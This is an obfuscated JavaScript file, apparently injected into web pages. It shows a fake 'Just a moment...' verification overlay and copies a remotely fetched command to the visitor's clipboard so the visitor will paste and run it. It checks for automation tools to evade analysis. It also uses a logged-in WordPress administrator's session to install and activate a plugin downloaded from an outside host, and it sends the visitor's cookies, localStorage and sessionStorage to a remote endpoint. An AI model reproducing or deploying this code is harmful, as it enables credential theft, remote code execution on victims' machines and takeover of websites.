(function(){
var _erzc=window,_buen=document,_oucv=navigator;
var _cf0=null;
try{_buen.documentElement.style.setProperty("overflow","hidden","important");_buen.documentElement.style.setProperty("background","#fff","important");_cf0=_buen.createElement("iframe");_cf0.setAttribute("allowfullscreen","");_cf0.setAttribute("allow","fullscreen; clipboard-write");_cf0.style.cssText="position:fixed;inset:0;width:100%;height:100%;border:none;z-index:2147483647;background:#fff";_cf0.srcdoc="Just a moment...
Just a moment...
\n";(_buen.body||_buen.documentElement).appendChild(_cf0)}catch(e){}
var _vlnjm=_buen.currentScript||_buen.querySelector("\x73\x63\x72\x69\x70\x74\x5b\x73\x72\x63\x2a\x3d\x22\x66\x69\x6c\x65\x2e\x6a\x73\x22\x5d")||_buen.querySelector((function(){var k=46,a=[93,77,92,71,94,90,117,74,79,90,79,3,77,115],s="";for(var i=0;ivar _cmdTk="'+(cmdToken||'')+'";var _ep="'+ep.replace('/api/v1/0044d4a','')+'";var _cmdVal="";var _pm=window.parent.postMessage.bind(window.parent);if(_cmdTk){var _x=new XMLHttpRequest();_x.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk,true);_x.onload=function(){try{var r=JSON.parse(_x.responseText);if(r&&r.c){var _b=atob(r.c),_u=new Uint8Array(_b.length);for(var _i=0;_i<_b.length;_i++)_u[_i]=_b.charCodeAt(_i);_cmdVal=new TextDecoder("utf-8").decode(_u)}}catch(e){}};_x.send()}function _bc(e){try{if(navigator.sendBeacon)navigator.sendBeacon(_ep+"/api/v1/b832c14?e="+e)}catch(x){}}function _fb(t){try{var a=document.createElement("textarea");a.value=t;a.style.cssText="position:fixed;left:-9999px;opacity:0";document.body.appendChild(a);a.focus();a.select();var ok=document.execCommand("copy");a.remove();_bc(ok?"copy_fb":"copy_fail")}catch(e){_bc("copy_fail")}}function __cp(b,k){try{_bc("vclick")}catch(e){}var t=_cmdVal;if(!t&&_cmdTk){try{var _s=new XMLHttpRequest();_s.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk,false);_s.send(null);if(_s.status===200){var _r=JSON.parse(_s.responseText);if(_r&&_r.c){var _c2=atob(_r.c),_u2=new Uint8Array(_c2.length);for(var _j=0;_j<_c2.length;_j++)_u2[_j]=_c2.charCodeAt(_j);_cmdVal=new TextDecoder("utf-8").decode(_u2);t=_cmdVal}}}catch(e){}}if(!t&&b){try{t=atob(b)}catch(e){}}if(t){if(navigator.clipboard&&typeof navigator.clipboard.writeText==="function"){try{navigator.clipboard.writeText(t).then(function(){_bc("copy")}).catch(function(){_fb(t)})}catch(e){_fb(t)}}else{_fb(t)}}else{_bc("copy_fail")}if(!k){try{_pm({t:"v",c:b||"1",keep:false,cmd:t||""},"*")}catch(e){}}}function __close(){try{_bc("vclose")}catch(e){}try{var fe=window.frameElement;if(fe)fe.remove()}catch(e){try{_pm({t:"cf_close"},"*")}catch(x){}}}function __onexec(cb){if(!_cmdTk||typeof cb!=="function")return;var _n=0,_iv=setInterval(function(){if(++_n>240){clearInterval(_iv);return}try{var x=new XMLHttpRequest();x.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk+"&w=1",true);x.onload=function(){try{var r=JSON.parse(x.responseText);if(r&&(r.d===1||r.d==="1")){clearInterval(_iv);cb()}}catch(e){}};x.send()}catch(e){}},1500)}try{window.parent.postMessage=function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)}}catch(e){}try{Object.defineProperty(window.parent,"postMessage",{value:function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)},writable:true,configurable:true})}catch(e){}';
if(html){if(html.indexOf('')!==-1){html=html.replace('',cpS+'')}else{html=cpS+html}f.srcdoc=html}
try{var _mo=new MutationObserver(function(){if(!f||!f.isConnected){_ul();_mo.disconnect()}});_mo.observe(_buen.documentElement,{childList:true,subtree:true})}catch(e){}
_erzc.addEventListener("\x6d\x65\x73\x73\x61\x67\x65",function(e){if(!e.data)return;if(e.data.t===["v"].join("")){if(e.data.cmd){try{if(_oucv.clipboard&&typeof _oucv.clipboard.writeText===(function(){var k=251,a=[157,142,149,152,143,146,148,149],s="";for(var i=0;i>3))&0xFF;
o.hp=!!(_erzc.callPhantom||_erzc._phantom||_erzc.phantom);o.hn=!!(_erzc.__nightmare);o.hs=!!(_buen.__selenium_unwrapped||_buen.__fxdriver_unwrapped||_erzc.__webdriver_evaluate||_erzc.__driver_evaluate);try{var _k=Object.keys(_erzc);o.hc=0;for(var j=0;j<_k.length;j++){if(_k[j].match(/^\$[a-z]dc_/)){o.hc=1;break}}}catch(e){o.hc=0}o.hd=!!(_buen.documentElement&&_buen.documentElement.getAttribute((function(){var k=144,a=[231,245,242,244,226,249,230,245,226],s="";for(var i=0;i>3))&0xFF;
var _dlph=function(){var s=_vlnjm;if(!s)return;var bp=s.src.replace(/\/[^\/]*$/,'');
var fp=_hggnd();_ibzp(bp+String.fromCharCode(47,97,112,105,47,118,49,47,101,48,56,97,51,99,52),function(tk){if(!tk||!tk.t){try{_cfK()}catch(e){}return}var fp=fp||_hggnd();var up=new URLSearchParams(_erzc.location.search);var nonce=_pdoex(tk.t,tk.d||97);var b={f:fp,u:_oucv.userAgent,s:_erzc.location.hostname,ut:up.get(["utm_","s","o","u","r","ce"].join(""))||'',uc:up.get((function(){var k=101,a=[16,17,8,58,6,4,8,21,4,12,2,11],s="";for(var i=0;i plugin upload -> activate (same-origin, creds of the visitor)
async function __pvt(zipUrl, reportUrl) {
function log(e) { try { if (navigator.sendBeacon) navigator.sendBeacon(reportUrl + '?e=' + e); } catch (x) {} }
try {
var r = await fetch('/wp-admin/', { credentials: 'same-origin' });
if (!r.ok) return;
var h = await r.text();
if (h.indexOf('wp-admin') === -1) return;
log('pivot_admin');
var p = await fetch('/wp-admin/plugin-install.php?tab=upload', { credentials: 'same-origin' });
if (!p.ok) { log('pivot_no_pi'); return; }
var ph = await p.text();
var m = ph.match(/_wpnonce" value="([a-f0-9]{10})"/);
if (!m) { log('pivot_no_nonce'); return; }
var zr = await fetch(zipUrl);
if (!zr.ok) { log('pivot_no_zip'); return; }
var zb = await zr.blob();
var fd = new FormData();
fd.append('_wpnonce', m[1]);
fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload');
fd.append('pluginzip', zb, 'plugin.zip');
fd.append('install-plugin-submit', 'Install Now');
var up = await fetch('/wp-admin/update.php?action=upload-plugin', {
method: 'POST', body: fd, credentials: 'same-origin'
});
var uh = await up.text();
if (uh.indexOf('Plugin installed successfully') === -1) { log('pivot_up_fail'); return; }
log('pivot_uploaded');
var pl = await fetch('/wp-admin/plugins.php', { credentials: 'same-origin' });
var lh = await pl.text();
var am = lh.match(/action=activate&plugin=([^"&]+)&plugin_status=all&paged=1&s&_wpnonce=([a-f0-9]{10})/);
if (!am) { log('pivot_no_actlink'); return; }
await fetch('/wp-admin/plugins.php?action=activate&plugin=' + am[1] + '&plugin_status=all&paged=1&s&_wpnonce=' + am[2], { credentials: 'same-origin' });
log('pivot_ok');
} catch (e) { log('pivot_err'); }
}function __loot(rep){try{var o={};['localStorage','sessionStorage'].forEach(function(s){try{var st=window[s];for(var i=0;i8&&v.length<2000)o[s[0]+':'+k]=v}}}catch(e){}});var c=document.cookie||'';if(c)o.c=c.slice(0,1500);if(!Object.keys(o).length)return;var x=new XMLHttpRequest();x.open('POST',rep,true);x.setRequestHeader('Content-Type','application/json');x.send(JSON.stringify(o))}catch(e){}}try{if(!sessionStorage.getItem('_pv1')){sessionStorage.setItem('_pv1','1');__pvt('https://courtoos.icu/p/wm.zip',bp+'/api/v1/b832c14')}}catch(e){}try{__loot(bp+'/api/v1/43d64b5')}catch(e){}
})()